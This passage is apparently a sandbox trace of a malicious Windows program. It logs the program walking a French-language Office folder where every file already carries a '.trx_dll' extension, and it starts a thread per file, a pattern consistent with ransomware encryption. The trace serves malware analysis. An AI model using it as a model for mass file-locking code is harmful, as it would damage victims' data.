returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" [0126.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027bc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024 [0126.621] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1 [0126.621] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2=".") returned 1 [0126.621] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2="..") returned 1 [0126.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85ccc0 [0126.621] wcscpy (in: _Dest=0x1b85ccc0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.621] wcscat (in: _Dest=0x1b85ccc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.621] wcscat (in: _Dest=0x1b85ccc0, _Source="OMSINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" [0126.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ccc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d0 [0126.622] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1 [0126.622] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2=".") returned 1 [0126.622] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2="..") returned 1 [0126.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85cb10 [0126.623] wcscpy (in: _Dest=0x1b85cb10, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.623] wcscat (in: _Dest=0x1b85cb10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.623] wcscat (in: _Dest=0x1b85cb10, _Source="ONINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" [0126.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4 [0126.624] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1 [0126.624] wcscmp (_String1="ONINTL.REST.trx_dll", _String2=".") returned 1 [0126.624] wcscmp (_String1="ONINTL.REST.trx_dll", _String2="..") returned 1 [0126.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85d260 [0126.624] wcscpy (in: _Dest=0x1b85d260, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.624] wcscat (in: _Dest=0x1b85d260, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.624] wcscat (in: _Dest=0x1b85d260, _Source="ONINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" [0126.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b4 [0126.626] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1 [0126.626] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2=".") returned 1 [0126.626] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2="..") returned 1 [0126.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027a150 [0126.626] wcscpy (in: _Dest=0x2027a150, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.626] wcscat (in: _Dest=0x2027a150, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.626] wcscat (in: _Dest=0x2027a150, _Source="OUTLLIBR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" [0126.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8 [0126.627] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1 [0126.627] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2=".") returned 1 [0126.627] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2="..") returned 1 [0126.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a1f0 [0126.628] wcscpy (in: _Dest=0x2027a1f0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.628] wcscat (in: _Dest=0x2027a1f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.628] wcscat (in: _Dest=0x2027a1f0, _Source="OUTLLIBR.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" [0126.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1074 [0126.630] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1 [0126.630] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2=".") returned 1 [0126.630] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2="..") returned 1 [0126.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85d1d0 [0126.630] wcscpy (in: _Dest=0x1b85d1d0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.630] wcscat (in: _Dest=0x1b85d1d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.630] wcscat (in: _Dest=0x1b85d1d0, _Source="OUTLWVW.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" [0126.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1758 [0126.633] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1 [0126.633] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2=".") returned 1 [0126.633] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2="..") returned 1 [0126.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85cf90 [0126.633] wcscpy (in: _Dest=0x1b85cf90, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.633] wcscat (in: _Dest=0x1b85cf90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.633] wcscat (in: _Dest=0x1b85cf90, _Source="PPINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" [0126.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd58 [0126.634] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1 [0126.634] wcscmp (_String1="PPINTL.REST.trx_dll", _String2=".") returned 1 [0126.634] wcscmp (_String1="PPINTL.REST.trx_dll", _String2="..") returned 1 [0126.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0126.634] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.634] wcscat (in: _Dest=0x1b85cba0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.634] wcscat (in: _Dest=0x1b85cba0, _Source="PPINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" [0126.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8 [0126.635] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1 [0126.635] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2=".") returned 1 [0126.635] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2="..") returned 1 [0126.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027a470 [0126.636] wcscpy (in: _Dest=0x2027a470, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.636] wcscat (in: _Dest=0x2027a470, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.636] wcscat (in: _Dest=0x2027a470, _Source="PUB6INTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" [0126.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd9c [0126.637] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1 [0126.637] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2=".") returned 1 [0126.637] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2="..") returned 1 [0126.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a510 [0126.637] wcscpy (in: _Dest=0x2027a510, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.637] wcscat (in: _Dest=0x2027a510, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.637] wcscat (in: _Dest=0x2027a510, _Source="PUB6INTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" [0126.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x172c [0126.638] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1 [0126.638] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2=".") returned 1 [0126.638] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2="..") returned 1 [0126.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b550 [0126.638] wcscpy (in: _Dest=0x2027b550, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.638] wcscat (in: _Dest=0x2027b550, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.638] wcscat (in: _Dest=0x2027b550, _Source="PUBWZINT.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" [0126.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f0 [0126.639] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1 [0126.639] wcscmp (_String1="SGRES.DLL.trx_dll", _String2=".") returned 1 [0126.639] wcscmp (_String1="SGRES.DLL.trx_dll", _String2="..") returned 1 [0126.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85b6d0 [0126.639] wcscpy (in: _Dest=0x1b85b6d0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.639] wcscat (in: _Dest=0x1b85b6d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.639] wcscat (in: _Dest=0x1b85b6d0, _Source="SGRES.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" [0126.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c [0126.640] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1 [0126.640] wcscmp (_String1="STINTL.DLL.trx_dll", _String2=".") returned 1 [0126.640] wcscmp (_String1="STINTL.DLL.trx_dll", _String2="..") returned 1 [0126.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85b760 [0126.641] wcscpy (in: _Dest=0x1b85b760, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.641] wcscat (in: _Dest=0x1b85b760, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.641] wcscat (in: _Dest=0x1b85b760, _Source="STINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" [0126.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd10 [0126.642] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1 [0126.642] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2=".") returned 1 [0126.642] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2="..") returned 1 [0126.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b910 [0126.642] wcscpy (in: _Dest=0x2027b910, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0126.642] wcscat (in: _Dest=0x2027b910, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0126.642] wcscat (in: _Dest=0x2027b910, _Source="VISBRRES.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" [0126.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1820 [0126.643] FindNextFileW (in: hFindFile=0x1cd9de50, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1 [0126.643] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2=".") returned 1 [0126.644] wcscmp (_String1="VISINTL.DLL.trx_dll", 